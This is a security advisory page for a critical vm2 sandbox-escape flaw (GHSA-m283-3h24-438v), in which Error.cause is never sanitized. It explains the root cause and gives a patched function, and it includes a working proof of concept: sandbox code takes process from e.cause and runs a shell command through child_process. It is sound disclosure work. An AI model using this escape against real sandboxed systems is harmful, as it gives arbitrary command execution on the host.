GHSA-m283-3h24-438v — vm2
CRITICALGHSA-m283-3h24-438v is a critical-severity (CVSS 9.9) CWE-693 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-m283-3h24-438v.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-m283-3h24-438v by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Affected: vm2 <= 3.11.3
CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-693 (Protection Mechanism Failure)
Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)
Summary
I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.
The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.
Root Cause
The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
// ... cycle detection ...
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited); // sanitized
e.suppressed = handleException(e.suppressed, visited); // sanitized
return e;
}
if (proto === localAggregateErrorProto) {
// sanitizes e.errors[] ...
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e; // .cause is NEVER checked
}
Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.
Affected Code
lib/setup-sandbox.js:869-959, thehandleExceptionfunction (missing.causehandling)lib/setup-sandbox.js:886,ensureThiswraps the error but does not recurse into.causedocs/ATTACKS.md:54, Defense Invariant #3 falsely claims.causeis covered
Reproduction
Embedder code that exposes a function throwing with .cause set to process:
const { VM } = require('vm2');
const vm = new VM({
sandbox: {
hostFn: () => {
throw new Error('fail', { cause: process });
}
}
});
const result = vm.run(`
try {
hostFn();
} catch (e) {
// .cause is not sanitized, so we get a direct reference to host process
const proc = e.cause;
proc.mainModule.require('child_process').execSync('id').toString();
}
`);
console.log(result);
Verified output:
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
Full RCE confirmed.
Impact
Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:
- Full host process access (read/write files, spawn processes, network access)
- Sandbox escape with changed scope (CVSS S:C)
- No user interaction required
The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
Suggested Fix
Add .cause sanitization before the prototype-chain walk, so it applies to all error types:
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (!visited) visited = new LocalWeakMap();
if (apply(localWeakMapGet, visited, [e])) return e;
apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022)
try {
if ('cause' in e) {
e.cause = handleException(e.cause, visited);
}
} catch (ex) { /* best effort */ }
let proto = localReflectGetPrototypeOf(e);
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited);
e.suppressed = handleException(e.suppressed, visited);
return e;
}
if (proto === localAggregateErrorProto) {
if (localArrayIsArray(e.errors)) {
for (let i = 0; i < e.errors.length; i++) {
e.errors[i] = handleException(e.errors[i], visited);
}
}
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e;
}
docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.
Artifacts
| File | Role |
|---|---|
poc_error_cause_escape.js | PoC demonstrating sandbox escape to RCE via unsanitized .cause |
| poc_error_cause_escape.js |
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.6npm install vm2@3.11.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m283-3h24-438v is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated as having an Important impact for Red Hat products because an attacker capable of executing untrusted scripts within the sandbox environment can escape isolation and execute arbitrary commands in the host process. Successful exploitation requires specific preconditions, namely that an…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-m283-3h24-438v (CC BY 4.0)
Frequently Asked Questions
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